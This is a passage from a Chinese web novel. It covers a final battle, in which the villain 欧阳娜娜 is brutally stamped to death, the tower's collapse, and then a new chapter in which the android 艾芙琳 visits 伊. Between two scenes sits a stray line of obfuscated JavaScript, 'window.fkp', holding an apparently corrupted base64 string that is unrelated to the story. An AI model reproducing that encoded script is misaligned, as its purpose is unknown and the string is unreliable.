鲁驰笑了笑,毫不客气地使用了他的绝招。鲁驰起步,化作绿色的幻影,瞬间来到杨三刀面前。鲁驰挥刀如迅雷般迅速,似雷鸣般浩荡,刀刃快出残影,片刻就是人头落地。叮的一声,杨三刀轻轻一个上挑正面招架下这一刀。鲁驰的身影瞬间消失,伴随的是许多跟轻丝的出现。轻丝有十三根,在杨三刀各个方向都各有分布,多是紧贴杨三刀的身体。眨眼之间,十三个模糊的绿色幻影出现,他们身贴轻丝飞速冲刺,对着杨三刀挥出了致命的一刀。杨三刀使用疾步快速移动,同时挥刀去招架这些幻影的攻击。杨三刀是成功躲开了十二刀。在这十三个幻影消去后,鲁驰出现在杨三刀背后。绿色的法力汇聚在鲁驰的刀刃上,围绕在鲁驰手臂上的叶绿之息,在此刻开始沸腾。鲁驰猛地一个下劈打出,砍出了巨兽践踏地面时的那股气势。只不过,杨三刀一个转身,用横刀格挡的方式正面挡下下这一刀。见到这种结果,鲁驰一点也不意外,他这招的最后一刀只要是用在杨三刀身上,就绝对会被挡下。杨三刀后撤三步,疾步前冲加一个下劈砍打出,鲁驰见此横刀招架。当的一声,鲁驰的刀被杨三刀手中的黑麒麟一刀斩断。 鲁驰心里: “已经结束了......” 在鲁驰被杨三刀扔出大桥之后,欧阳娜娜就失去了最后的屏障。苍白对准她的腿,连开三枪,枪枪打中。她的左腿被打瘸了,一个踉跄趴倒在了地上。至此,她还不甘心。她相信她重回高塔之后能改变现在的局面,但她殊不知,一直为她提供力量的那颗紫宝石此时已经是裂痕遍布,那是她最后的希望。她咬紧牙关,向着高塔慢慢爬去。她此时距离高塔上的那个大窟窿只有短短几步之遥,但这短短的距离此刻却变得十分遥远。她努力地向前爬向,殊不知殇他们已经跟了上来。殇一把抓住她的后颈,一把将她扔到了高塔内。她精准地落在了一个平台的边缘,险些就坠入了她眼前的无尽深渊。地面突然开始颤抖,她感受到这震动,赶忙往后挪了几下。 此时,那朵白莲的根系正在向外渗着血水,难闻的腐臭味从中传出。一片一片巨大的花瓣脱落下来,带来了这朵白莲的凋零。紫色涡旋在此刻停止旋转,天空归为一片寂静。城市内鸦雀无声,扭曲生物尸横遍野。城市外下着小雨,荒地上长出绿草。扭曲走向衰亡,它们的终末在此刻到来。虽然不是遍及全部,但也由此能敲响丧钟。 殇和伊走进高塔,来到了欧阳娜娜的身后。感觉到他们二人的欧阳娜娜,此刻吓得一动也不敢动。殇冷冷地对欧阳娜娜说: “永别了,你这贱人。” 殇慢慢地抬起脚,对准欧阳娜娜的头狠狠地一脚踩下。嘎吱一声,是骨头断裂的声音。殇抬起脚,准备再踩一脚。 欧阳娜娜: “(害怕)求求你,别杀我!放我回去,你要什么我给你什么?” 殇没说话,抬起脚狠狠地一脚踩下。又是嘎吱一声,欧阳娜娜惨叫了一声,眼前的景象开始变得血腥起来。伊见了,害怕地转过身去,不敢直视接下来的景象。 欧阳娜娜: “(真诚)求求你了,放过我吧......大侠,你让我当牛做马都行!别杀我,别杀我啊!” 听到她的话,殇咬牙切齿,一脸愤怒的表情。殇回想起了那些冤魂的声音与那些冤魂生前的故事,他们本是普普通通生活着的普通人,却因为结识了她这个败类而引火上身!只是因为她的任性与暴戾,无数本该享受生活的人却提早进了坟墓。殇此时不再沉默,他开口对欧阳娜娜说: “我可以原谅你......但被你杀了的那些冤魂饶不了你!你这贱人,为了变强不择手段!杀死的人可以堆成一座小山!” 殇抬起脚狠狠地一脚踩下。又是嘎吱一声,欧阳娜娜的半个头嵌入了地面。欧阳娜娜艰难地抬起头,泪水与血水一滴一滴地滴落在地面上。她终于为了自己的暴戾与下三滥而感到后悔,但此时灾祸已经烙下,为时已晚了! 欧阳娜娜: “(扭曲的声音)我知道错了......别杀我......求你了,我家里还有个六岁大的孩子......” 听到她这么说,殇有些心软,但他始终没有放弃杀了她的想法。比起她的小家,她所犯下的罪孽拆散了无数大家,让许多人深陷痛苦之中!殇一脸愤怒地对她: “你竟然还有脸去提孩子?!你可知道你曾经杀过的人有怀着身孕的妇女吗?!你毁掉他们的孩子时,他们不也向你求饶了吗?你是怎么做的?!啊?你杀了他们!” 听到殇这么说,伊开始感觉愤怒,她握紧了拳头,鼓起勇气转过身来去直面眼前的景象。 欧阳娜娜: “(扭曲的声音)我错了!我知道错了!我是个混蛋,我不该那么做的!我忏悔......我忏悔......” 殇: “(无情)你现在忏悔还有他妈的什么用?!” 殇抬起脚狠狠地一脚踩下!又是嘎吱一声,欧阳娜娜的头大半个嵌入了地面。她连抬起头的力气都没有了,只能呻吟几声。殇抬起脚,准备最后给她来一脚。这时,她幡然醒悟,不再求饶而是痛苦地低语道: “这就是报应啊......” 殇最后一脚踩下,清脆的骨头断裂声回荡在高塔之中,伴随的是欧阳娜娜彻底断气。处理完她,殇用关刀挑起她的尸体,然后走到了平台的边缘处。他对准高塔底端正向上蔓延的火光,像仍鱼叉一般将关刀投向了那明亮的火光。扔完后,殇对着底下竖了个中指,并对她诅咒道: “愿你这贱人被十殿阎罗打得魂飞魄散!永世不得轮回!” 诅咒完她,殇拍了拍手,又拍了拍身上的灰尘,露出了一脸轻松的表情。伊见了,笑着走到殇身前,与殇愉快地击掌。击完掌,殇笑着问伊: “伊,感觉如何啊?” 伊笑了笑,回答殇: “有被爽到。” 殇耸耸肩,对伊说: “可不是吗?!处决这么个大人渣,真他妈的爽啊!” 这时,伊噘起了嘴,一脸的不乐意。伊很失望地说道: “早知道就不想着救她了,谁知道她是个这么坏的人呢。” 殇听伊这么说,轻拍她的肩膀,告诉她: “不用想太多,把它抛之脑后吧。等回去了,我请你下馆子。好好庆祝庆祝这场胜利。” 因为去转化扭曲能量,伊消耗了大量能量。她现在饿得肚子咕咕叫,一听殇说要请吃饭,顿时两眼放光。伊笑着问殇: “真的吗?” 殇点了点头,神色坚定地告诉她: “没错!” 这时,他们脚下的地面开始颤动,无数裂痕出现并快速蔓延。殇意识到了危险,立马拉着伊的手飞奔出了高塔。飞奔在大桥上,殇和伊看到了十分壮观的一幕。巨大的白莲慢慢倒下,伴随它的几片花瓣一起落入血池之中。白莲落进血池后激起十米巨浪与无数水花,很快水花落下形成了一场血雨。巨浪冲断了一座由它根系盘踞而成的大桥,可谓是生死由它了;巨浪险些冲垮了殇他们脚下的大桥,所幸这些根系盘踞的够结实。随着白莲落入血池,它的那些根系快速死亡。那些根系的死亡后瞬间干瘪,然后干裂成无数如枯叶般的碎片。随着一阵风的到来,这些碎片乘风而飞,向着天空飞去。赶在脚下大桥塌陷之前,殇和伊有惊无险地跑出了大桥。 这时,鲁驰从地面上慢慢爬起,很狼狈地站起身来。这场战斗此时已经结束了,毫无疑问,鲁驰输了。杨三刀仅用一记三刀斩就将他砍成重伤,而且杨三刀还未尽全力!念在情分手下留情了。鲁驰见到那朵白莲没入血池,想必欧阳娜娜已经归西。他的任务失败了,失落与愧疚爬上他的脊梁,他觉得此刻颜面无光。他输了战斗,又没完成任务,还受了伤。这种耻辱感让他无地自容。杨三刀此时并没有对鲁驰补刀,而是静静地看着鲁驰,等待他的下一步行动。鲁驰对杨三刀笑了笑,他从心里承认了自己的失败,便不再计较那些有的没的。杨三刀也对着他笑了笑,知道他已经认输。鲁驰拿起地上两块断刃,然后将它们按照刃先柄后的顺序插回了刀鞘中。鲁驰做出很恭敬的手势,心服口服地对杨三刀说: “不愧是能驾驭黑麒麟的人!这场战斗我输了,你赢了,而各种方面。我能念在情分不来找你们麻烦,可其他人就不一定了。” 杨三刀将黑麒麟插回腰间的刀鞘之中,略有担心地告诉鲁驰: “洒家是没什么事,只怕洒家的朋友们会引得不必要的麻烦。” 鲁驰拿出腰间的令牌,告诉杨三刀: “我要回去宗门,师弟你保重。” 杨三刀挥挥手,有些担心地对鲁驰道别: “师兄,路上保重。” 金龙阵法出现在鲁驰脚下,在一道金光过后,鲁驰消失了。鲁驰刚走,苍白和小甜就跑了过来,紧接着殇和伊也跑了过来。几人汇合,简单聊了几句,了解下了下情况,之后向着装甲悬浮车的方向跑去。在快跑到装甲悬浮车那里的时候,地面开始轻微颤动,众人停下,本能地向后看去,他们一同看到了身后那壮观的景象。 无数枯叶从地面上升起,在风的轻抚下向着天空飞去。突然狂风呼啸,枯叶们似在彼此竞争般开始加速,顿时空中展开了一场马拉松。地面上的枯叶也不甘示弱,抓住狂风的臂膀,飞跃至空中去追逐前面的领跑者。枯叶们争相恐后地起飞,谁也不甘示弱。就像正值青春年华中年轻人一样,有着十足的野心与激情,慢了一步也不气馁,就拼命去追,争取超越前面的领跑者。从远了看,就像是灰棕色的炊烟从城市中冒出,好像是有人在城市里点燃了一把火一样。但具体些,那把火此刻已经熄灭,这炊烟不过是余烬的点点余温所升起的罢了。就像一位垂暮的老人的一样,无奈于现况又期望些什么。城市的火焰熄灭了,不能发光发热了,是它老去了;那炊烟从余烬中诞生,却还有着些许温度,它正年轻。虽然带不来火星与光明,但那炊烟仍能像曾经的火焰一样,为这个世界带来温暖。因为它是火焰的孩子! 这时,一道耀眼的光芒出现在高塔的顶端,众人抬头看去。一道巨大的白色光柱从塔顶升起,像一柄锐利的长矛一样刺穿头顶的云海。光柱的颜色很快变成了金色,发出的光芒照亮了整座城市。金色的光辉照在这里的每一寸土地上,无数光点从土地之中升起,它们随着枯叶一起飞向天空。在它们的带领下,本是黯淡无光的枯叶竟发出光来。光柱的力量牵动着每一片枯叶与每一个光点,让它们围着光柱在空中翩翩起舞。似乎那光柱是一团篝火,而它们就是围着篝火转圈跳舞的人们。很快,那些光点就似一颗颗星星一样布满天空。璀璨的星光照在大地上,这里的每一寸土地都在散发着希望。那星光,既耀眼又温暖。众人欣赏着眼前的风景,美得让他们说不出话来。此时无声胜有声,这也是对风景的一种赞美。 片刻的宁静过后,高塔的底部开始崩塌,深坑底部的血池开始蒸发。地面开始颤动,蕴藏在高塔之下的强大能量蓄势待发。这时光柱突然消失,城市突然暗下来许多了。那漫天星辰,在此刻绽放出绚丽的光彩,瞬间让整座城市再次亮了起来。高塔土崩瓦解,血池蒸发殆尽,满天星辰照耀大地,似乎是暴风雨前的片刻宁静。轰的一声,一道巨大的金色光柱从深坑下升起,顿时间照耀整座城市。光柱以迅雷之势击穿云海,在云海上掀起的巨大波澜推开大片云彩,天空很快晴朗。温暖的阳光照进了这座城市,重新轻抚这片伤痕累累的土地。温暖的阳光照在众人的身上,让他们躁动的心灵安静了下来。他们感受着阳光的轻抚,静下心来去感受这短暂的美好。 此时的天空是檀紫色的,最后的扭曲能量所形成的穹顶包裹了整座城市,似乎还有着死灰复燃的希望。那道光柱穿过云海,刺入了苍穹之中。天空中出现无数裂痕,许多檀紫色的碎片从苍穹中落下。这些碎片在光柱的力量下开始燃烧,像极了一颗颗坠入人间的落星。轰的一下,无边的苍穹像镜子般破碎,它的无数碎片落下,在星光中猛烈燃烧,像是烟花的落幕。那道光,击破苍穹! 随着苍穹的破碎,那道光也随之消失。漫天星光悄悄溜走,不带走任何东西,只留下一片碧蓝的天空。清风徐徐吹来,吹来的是希望,吹走的是绝望,吹不走的血与泪与过去。在重新看到那蓝天的时候,众人觉得那蓝天格外亲切、格外的美丽。 伊此时的心情就像这晴朗的天空一样。伊看着天,赞美道: “好美啊......我从未觉得蓝天能有这么美丽。” 殇笑着附和她: “是啊......在一切都尘埃落定之后,这天比以前还蓝。” 苍白露出微笑,对着蓝天赞美道: “几时不见这蓝天,甚有些想念。见闻过腥风血雨与满城狼藉,只觉得再次相逢时,你格外美丽。” 在众人的赞美声中,这件事画上了一个句号,迎来了圆满的结局。 此时,在林州市的一栋高楼的楼顶,一个高大的身影也同他们一样欣赏这来之不易的晴空万里。它断了只胳膊,腿一瘸一拐的,还断了根手指,甚是狼狈。它靠着墙,静静地注视着天空。这是他第一次看到这么晴朗的天空,这也是它第一次觉得世界不是单调的一抹灰色。它之前都是在阴霾下生活的,能看到的一切都是笼罩在阴霾下的。 它这时低下头,发现自己的手中还有一颗糖果,它想到了某个人,因而觉得遗憾与失落。一片片黑色的碎片从它的身躯上飘起,随着风飘向远方,它的身体渐渐凋零,像一朵花一样死去。它没有害怕死亡,而是很坦然地接受了死亡。它沐浴在阳光下,与清风为伴,一同静享这城市的宁静。在完全失去意识前,恍惚间,它看到了一个可爱的孩子向它走来,并紧紧地抱着它。它抬起手,轻抚这个孩子的头,就像那时候一样。两滴泪水流下,无声地滴落在地面上。一阵呼啸着的北风吹过,卷起了它脆弱的身躯,将其散称了无数黑色的花瓣。 “你,回家了吗?” 一颗糖果掉落在地面上,几片花瓣落在它上面。除了这块糖果以外,楼顶上什么也没有。 无声无息地,它来了,无声无息地,它走了。 ...... 几个小时后,在世界的某个角落之中的一艘小型太空船上,wILL正在她的房间里看着书、喝着一杯热茶。这时,旅者推门走了进来。旅者拿着一张刚刚打印出来的耀斑日报,他拿起看了看,笑着对wILL说道: “干得不错!wILL。殇他们很完美地完成了这次针对扭曲的行动。” wILL拿起茶杯喝了口茶,说道: “嗯哼?那挺不错,起码我的努力没有浪费。” 旅者把这张报纸拿到了wILL眼前,告诉wILL: “看看今天的报纸,殇他们上报纸了!” wILL从旅者手中拿过报纸,好好地看了一番。报纸的头条是对这次行动的报道,还附赠了授奖仪式上殇他们五个的合影。看过报纸,wILL露出了很满意的笑容,这与她期望的一致。wILL对旅者说: “很不错嘛,跟我预料的一样。” wILL把报纸递给旅者,旅者接过报纸拿好。旅者注意了wILL手边的那杯热茶,他有些疑惑,就问wILL: “你什么时候有这爱好?” wILL看了一眼自己的茶杯,思索片刻,然后转过头来对他说: “这个啊......我也不知道呢。不知不觉在那天,我就有了这个爱好。喝点茶,对身体好。” “哦,原来如此。话说,你感觉到了吗?那个强大的先驱正在注视着这个世界的一举一动。” “你说那些有着∑标志的机器人的制造者?” “没错。” “这我倒没太在意。” “留意点他,他的存在能够引发很多变数,可能会影响到我们计划。” “嗯。——话说......他和钟唐岷谁强啊?” “要说起来的话......应该是是他强。” “那为什么他不出手去对抗钟唐岷?” “也许是有什么特殊的原因吧......” 与此同时...... 在天堂要塞之中,安吉拉正在看着一本有关炼金学的书。她在思考着炼金学与科学的关系,并试图从中找到新的研究思路。就在这时,殆匆忙地走到了她的身旁。 “母亲!” 殆的这一声打断了她的思考。被打断了思考的安吉拉并没有生气,反而用关怀的语气问殆: “发生什么了?” “欧阳娜娜......您亲爱的火之子,她......命归九泉之下了,她所驻守的晶塔也随之覆灭了。” 殆一脸失落地告诉她。听闻到欧阳娜娜的离去,安吉拉很伤心。她闭上双目,无奈地摇了摇头,问道: “是谁杀掉的她?” “殇。” 殆回答道。听到这个名字,她猛地睁开眼睛,一脸不可思议地看着殆。安吉拉问殆: “我的孩子,你确定吗?” “我确定。” 殆回答道。安吉拉皱起眉毛,面色凝重起来。她合上手中的书,无奈地叹了口气。安吉拉对殆吩咐道: “为欧阳娜娜举行一场追悼会吧,让征他们也来。” 殆点点头,回应道: “知道了,母亲。” 话应刚落,殆转身离去,走时顺手关门。此时,房间内只剩下安吉拉一人。安吉拉很头疼,一个能被称得上“孩子”的受试者离去,让她的内心很是失落。安吉拉慢慢回忆起了自己的过去...... 她曾站在被誉为世界科技高峰之巅殇王国皇家研究部之中,曾是与大炼金师伊洛斯的女儿兼皇家研究员伊娜同等级的精英,曾与伊娜一起接受过殇国王给予的勋章。她曾经也是站在巅峰的人...... 但她已经不在乎那些了,她来到这里,就已经是舍弃了自己的过去。为了她与伊娜共同的目标,她觉得这些牺牲是值得的,即便这会使她再难返回她心念的家园。 安吉拉: “(深情)殇......想不到百次循环,您竟还会有与我对抗的时候。我爱你这位君王,我爱我的祖国,但我更爱这个世界!为了这个世界,我舍弃了我作为人的权利。你若要阻止我的前进,我也只能挥刀向您了。到了今天这地步,我已经没办法回头了......” ...... 位于(数据删除)基地中。在巨大的荧幕外,一个高大的身影正注视着荧幕上的全息战略分析图像沉思。荧幕上的光柱与废墟格外亮眼,他正在分析着这件事的各种数据。 Sigma: “It's wonderful...... the scene of breaking the sky can be reproduced without relying on science and technology. It is indeed a miracle. I believe more and more in the rationality of miracles. the world of miss sidvera is really wonderful. this also gives me more space to think. the amount of information in this world is far more than I speculate.(真是精彩啊......击破苍穹的景象,不依靠科技也可以再现,属实是奇迹。我越来越相信奇迹的合理性了,希德薇拉的小姐的世界真是奇妙。这也给予了我更多的思考空间,这个世界所拥有的信息量远不止我推测的那些。)” 荧幕上出现了光之种子与暗之种子的部分设计图。这部分设计图是在希德薇拉研究这两个种子时遇到瓶颈后恳求他帮忙时赠与他的,这上面还有两人的签名。 Sigma: “I'm curious. Is the blending agent really that simple? why did Sid Vera ask me to place it on the supreme throne of the black forest? maybe this is one of the ten million answers. She used her own genes to make these two seeds, as if she wanted to escape my eyes. I don't know why she did it. maybe she has a good reason......(我很好奇,那调和剂真的只是调和那么简单吗?为何希德薇拉要求我将它放置黑森林的至高宝座之上?也许这就是千万答案中的一个。她在制作这两个种子时使用了自己的基因,似乎是想逃过我的眼睛。我不知道她为何要这么做,也许她有个合适的理由吧......)” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十一话:都市之眼的来访 在那件事之后,殇和伊的生活还是原来那般样子。在事后的表彰大会上,殇和伊以匿名好心人的身份受到了表彰,上台接受表彰时殇和伊都带着面具,就怕有人认出他们两个来。表彰大会结束后,他们两个飞快地离开了现场,走时还回头看几眼,就怕有人跟着他们。他们不想每日风光的生活,他们想要低调的生活,这样有利于他们日后的旅程。 因为帮助天龙一科有功,殇收到了一笔不小的报酬。同时因为他在邵红尘这件事上做的贡献,让邵氏集团(龙辉神匠)知道了事情背后的真凶,从而最后严惩真凶。董事长邵江心亲自约见了殇,并赠予殇绣有真龙游天宫之景的金龙服与一块刻有莲花的翡翠玉。看到这块玉的时候,殇不禁背后有些发凉。至此,殇与龙辉神匠结下了友好关系。 后来,那块玉成了小咒刀身上的装饰,这可给小咒刀高兴坏了。挂着一块价值不菲的玉石,小咒刀的心里是非常的开心。作为一把剑,他或多或少是要点面子的,多重含义的面子。 跟随殇他们一起的苍白和小甜由于是UppF的要员,他们倒没引起太多的关注;同样跟随殇他们一起的杨三刀因为有些许特殊条例,他不能出现在新闻之中,所以他以匿名英雄的身份登上了新闻周刊、报纸头条,自然是没引起太大注意。 在那件事之后,殇因为协助了天龙一科找回邵红尘这件事在东城之眼有了一定的名气,还有了他专属专属的称呼,叫“大名鼎鼎的殇先生”,很接地气的称呼。这出乎了殇的意料,他还是有了些名气,但好在这名气只在东城之眼这个地方有用,上了街还是没人认得他。 在那件事中,殇有一个莫大的遗憾,那就是在离开林州市前没能与大黑道别。他很想再看一眼大黑的样子,可也许他这辈子都没有那个机会了。他知道那扭曲消散之后,想必大黑存活不了多长时间,它也许会在城市的某个角落里死去,也许是奇迹一般在某处活着。大黑是他见过第一个有人性的扭曲生物,也是他见过最善良扭曲生物。 同时,小鸟也在这件事后回到了殇他们的身边。但他只是停留了数日,就在一个夜晚过后悄悄地消失了,也许是回到了圣地黑森林之中。 通历43年7月29日,这件事后的第十天。伊如往常一样在店里工作,享受着平静的生活。午休时分,她拿出倪汝美从远方寄给她的信件,打开一瞧,里面是一张照片和一封信件以及一根纹有鲜花的深蓝色钢笔。伊拿起照片一看,照片上倪汝美穿着一身漂亮衣服在樱树下拍照,她的身边站着一个帅气的西服男,两人笑着面对镜头,笑得很灿烂。看过照片,伊很开心地笑了。伊拿起那封信件,好好地看了看。 信中: “亲爱的伊,好久不见。你现在过得如何?不用太担心我,我到了新城市之后过得蛮好的。我的叔叔无名对我挺好的,帮我介绍了工作,还给我弄到了住处。你知道吗?我昨天刚刚通过了消防员体能检测,我可以去做一个光荣的消防员了!我做到了!伊。我很想把这份喜悦与你当面分享,可你我相隔千里之外,我只能将这份喜悦藏在心里,通过文字交给你。我还有个喜讯要传达给你,我在这座城市找到新的知心伴侣了。他不仅仅是我的知心伴侣,还是我的男朋友哦。不用担心我会忘掉你的,伊。你是我这辈子最好的朋友,我忘了谁都不会忘了你的。你要在那里过得好呦,有机会我会回去看你的。爱你的朋友:倪汝美。” 看完信,伊的心里很是欣慰与感动。伊能想象到倪汝美现在的生活是怎样的幸福。她不必再忍受歧视与排挤、不必再陷入一个又一个的低谷,而是能用自己微小的力量,向世界证明自己的价值,从而找到生活的意义;这正是伊所期望的。 伊拿起那只精美的钢笔,好好地去欣赏。表面纹有的鲜花在绽放,像是真诚在她的心里开出的花。深蓝色的笔身上的光泽倒映出伊的样子,似一面由海水凝聚而成的镜子,镜中是她纯洁的心灵。忧郁的蓝色调,冰冷之中蕴藏几分温暖,虽是一根笔,却蕴含了一个人最真挚的感情。那千言万语汇聚成了这一份礼物,将最真挚的心语送向伊的心房。千里送鹅毛,礼轻情意重,这普通的一根钢笔,是伊收到的最好的礼物。虽不值几块钱,但却胜过千金。伊收起这根笔,将它分成两份。一份珍藏在身边,一份珍藏在心里。 午休过后,伊回到岗位上继续工作。本该是宁静的下午,店里却迎来了不速之客。一个黑衣女子走进店内,环顾了一圈四周,然后慢慢地走到柜台前。见到这位女子后,伊认出了她。绿眼睛,黑色衣服加挡住眼睛的刘海,曾经在天堂岛的经历浮现在伊的脑中。伊本能地后退了一步,变得警觉起来。伊惊呼道: “是你!” 见到伊这个反应,她没有任何客套话,直接开门见山地说: “很好,省得我多浪费口舌。跟我们走一趟,伊。” 话音刚落,她直接翻进柜台内,很灵活地绕到伊的身后,一把搂住伊。伊正要挣扎,无力感突然出现,让她力不从心。她眼前的景象瞬间模糊,片刻后又瞬间清晰。伊和这位黑衣女子来到了一间办公室之中。这间办公室看着典雅而又朴实,墙上挂着的几幅油画更是为这里填上了几分艺术气息。黑衣女子松开伊,然后摘下了自己的兜帽与口罩。被松开后,伊有些茫然地环视了一圈周围,好好地看了看这间办公室。 办公室内,木制的桌子上放着一杯咖啡,还冒着气,一旁还有几摞文件与一台笔记本电脑与它相伴;白色的小茶几上有着一盆小花,黑色的沙发在一旁陪着,两者搭配甚是美观;高大的书架上塞满了各式各样的书籍,有空的地方放了些照片与收藏品;一把黑吉他靠在墙边,琴身上粉色的玫瑰格外亮眼;靠门处有着一个衣挂,衣挂上挂着一件黑色的大衣,大衣的背后有着都市之眼的标志。办公室窗户可以看到俯瞰到城市的街道,显然这里是在城市的高处。见到这些,伊觉得自己是来到了那位黑衣女子的办公室。 这时,那位黑衣女子轻拍了一下她的肩膀,伊本能地一颤,然后转过头去看她。她从她那严肃的脸上挤出笑容,对伊说: “找个地方坐下吧。” 出于多方面考虑,伊按照她说的做了。伊走到沙发旁坐下,有些不安地看着她。见到伊如此,她无奈地耸了耸肩。她走到桌前拿起杯子,喝了一口咖啡。喝完咖啡,她告诉伊: “别这么紧张,我找你不是为了公务。” 说完,她抿了一口咖啡。听到她这么说,伊出于善良相信了她。她放下杯子,走到沙发前,坐到了伊的左边。她对伊说: “你的那些事迹我也知道,佩戴了光之种子的人、伊娜的亲生女儿、以及前几日扭曲肃清事件的参与者。” 听到她这么说,伊一下子就警觉起来了。伊问她: “你怎么知道这么多?” 她看着伊困惑的眼神,抿嘴笑了笑,告诉她: “因为我是都市之眼,我们可以看到一切。” “哦,原来你们这么厉害的吗!” 伊惊呼道。见到伊这个反应,她露出一抹微笑,表现出了反常的温柔。她心平气和地对伊说: “不用太在意这些......我找你只是单纯想跟你唠唠一些特别的东西。” “好的。你说吧。” “你还记得艾安吗?” “艾安!你说艾妈妈?” “没错。伊娜的第四十七号复制体,最完美的伊娜复制体,差点就能成功被选为伊娜灵魂唯一载体的仿生人。” “我记得她。我还是碧蓝世界员工的时候,她是我的上司,是整个公司对我最好的人。她与我的妈妈只差一个发色!跟她相处的时候,我感觉那份失去的关怀又回到了我身边。只可惜她后来偷偷离开了公司,都怪我那混蛋叔叔伤透了她的心!” 她静静地看着伊,像是默默地倾听。伊见了,发觉可能是自己说太多了,就赶忙道歉道: “抱歉,我说太多了。” “没事,人都这样。有什么事了,总想找人倾诉。就像我......” “你继续说吧......” “在艾安离开碧蓝世界后,我曾观察过她一阵子......那时的她已经变了样子,变得陌生许多。我不知道她经历了什么,我只知道她成为了某个宗教组织的核心人物,开始从事一些宗教活动。后来,她去了天宗,那个邪教徒的流放地。再后来,我就不知道了。” “怎么会那样呢?艾妈妈怎会去做那种事情呢?” “一切都是未知。我曾问过其他的都市之眼,可他们也不知道其缘由。无独有偶,能知道艾安发生如此大变化的都市之眼都只知道后果,不知道前因。我调查这件事很久,一直没有答案。” “好可惜啊......” “我刚入都市之眼协会的那几年中,艾安曾来投靠过我们,实习过几天。但后来因为种种原因,她离开了。后来在A事件之中,我曾因为奉命调查p(棱镜)公司被危险AI清除者指控为危险人物。在管理员的铁令下达之前,是同样走在风口浪尖之上的艾安收留了我,拯救了我,让我还能活在这个美丽的世界上。” 她突然闭口沉默了。伊看出了什么,她轻轻皱起眉毛,露出了担忧的神情。她苦笑了几声,看了伊一眼,然后继续说道: “你可能不知道吧,我也是仿生人。” 她撩起头后的长发,露出藏在脖颈后的条形码。伊看到这条形码,顿时醒悟了。她面前的艾芙琳,跟艾安一样诞生于巢(一种制造仿生人的机械)中,都是一种特殊的有自主意识的AI。 她撩下头发,小手不安地相握在一起,沉思了片刻。沉思过后,她靠在沙发上,一脸的释然。她看着天花板浮想联翩,思考着若自己生为人类会面临怎样的生活。她对伊说: “你说,妈妈的乳汁是怎样的滋味?我想,应该比人工合成高纯度蛋白质复合多种有机质营养液要好喝......我生下来就会说话、唱歌、写字、思考还会走路,这些都没人教我,都是我与生俱来。甚至我在学会与人社交之前我就学会了战斗,我在会善待人之前就学会了杀人!” “什么?你原来小时候是这样的吗?” “小时候?我的小时候都是在杀戮训练以及监视城市中度过的。你可能有所不知,我生下来就是十八岁少女的样子。现在的我已经是22岁了,可我却从未感觉过衰老,我还是十八岁的样子。” “哦。” “我很好奇所谓爱究竟是何种事物?我为何除了我的主人以外谁也不爱?为何我找不到所谓的爱情?为什么我身为女子却没有女子的思想呢?这些答案艾安帮我解决了一部分,但剩下的那一部分她却没告诉我。何是爱?我至今不知道,更无法理解。” 听到艾芙琳这么说,伊明白了艾芙琳心里的诉求,伊决定向她传授关于爱的知识,希望给她一份让她满意的答案。伊笑着告诉她: “爱......是很抽象的东西。假如你要是爱一个人,你愿意为了那个人赴汤蹈火而不担心自己的安危。” “那种事情是傻子才会去做。那会拉低办事的效率,也会降低个体的存活率,这对群体以及社会来说是不利的。” “但就是这份傻,铸就了无数坚贞的感情。” “不可思议!” “爱也是一种尊重。你爱一朵花并非要去把它摘下来霸占,你爱春风并未要让春风停下来只吹你一个人,万物皆是如此。你爱一个人并非句句话都去说爱他,而是要从心底里去尊重他。如果物化了你所爱之物,以霸占来体现你的爱意,那么那份爱也不再是爱,而是单纯的占有欲。” “哦~~~我悟到了。那我跟我的主子的倾慕算不算是真正的爱呢?” “可以算。对一个人的衷心是一种高尚的爱。” 艾芙琳突然意识到了什么,她急忙打断自己现在的思路,并纠正思路,重新去说她与艾安的事。她摇摇头,对伊说: “抱歉,说过头了!我们重新说回艾安......” “嗯。” “在A事件中,艾安帮助了我,让我没能被处理掉。在与艾安生活过一段时间后,管理员弗下达了铁令,证明了我是友善仿生人。之后我要回去我的岗位,重新做回我的都市之眼。在与艾安分别前,艾安曾委托过我,让我去找到她的孩子,并将一片深灰色的石头交付与你。” 说到此处,艾芙琳从口袋里拿出了一块黑色的石头,将它交到了伊的手中。伊小心翼翼地托着这块深灰色的石头,它有着十足的分量,上面有着一个红色的眼睛图案,看着让人不禁有些脊背发寒。不过想在这是艾安给予她的,她心里感觉有一种别样的温暖。艾芙琳告诉伊: “艾安说这块石头很特殊,还说你与她再次相见时这片羽毛会起很大的作用。请你妥善保管吧,别误了她的一番心意。” “嗯。我知道了。” 这时,伊想到了一个特殊问题。伊考虑了一下,这个问题对于艾芙琳来说可能有些忌讳,她有些不太敢问。但想了片刻,她鼓起勇气来决定去问她这个问题。伊问艾芙琳: “那个......艾芙琳,你能跟我讲一下A事件的来龙去脉吗?” 艾芙琳很爽快地答应了她。 “可以。不过有些重要的部分我不能告诉你......那些涉及到某些集团利益的地方我不能告诉你,你也不能知道。这是为了我们两个的性命着想,明白吗?” “明白......” “那我开始讲了。” 艾芙琳向伊讲述起了A事件的来龙去脉...... ...... 通历28年2月9日,正值元宵佳节,各家各户都在享受着团圆时的美好。在西柏木的杨柳荫(城市的名字)之中,节日气息很是浓厚。天空中下着小雪,大街上很是热闹,街上行人络绎不绝,处处张灯结彩,还有花车在城市中迅游,好不是一番欣欣向荣的样子。市民们都在享受着节日的美好,与家人朋友共度着阖家团圆。但就是在这么喜庆的一天,意外却发生了。 城市的郊区外的林地本是一片寂静,但突然间发生的地震,让那里躁动了起来。密密麻麻的裂缝遍布地面,伴随着地面的剧烈颤动。期初郊区的人以为是地震,就按照地震的标准应对策略去应对。这震动持续了很长时间,而且丝毫没有停止的意思,并且震级在不断加大。突然,林地的中央出现了一个巨大的土包,似乎是某个巨大的东西即将冲出地下。 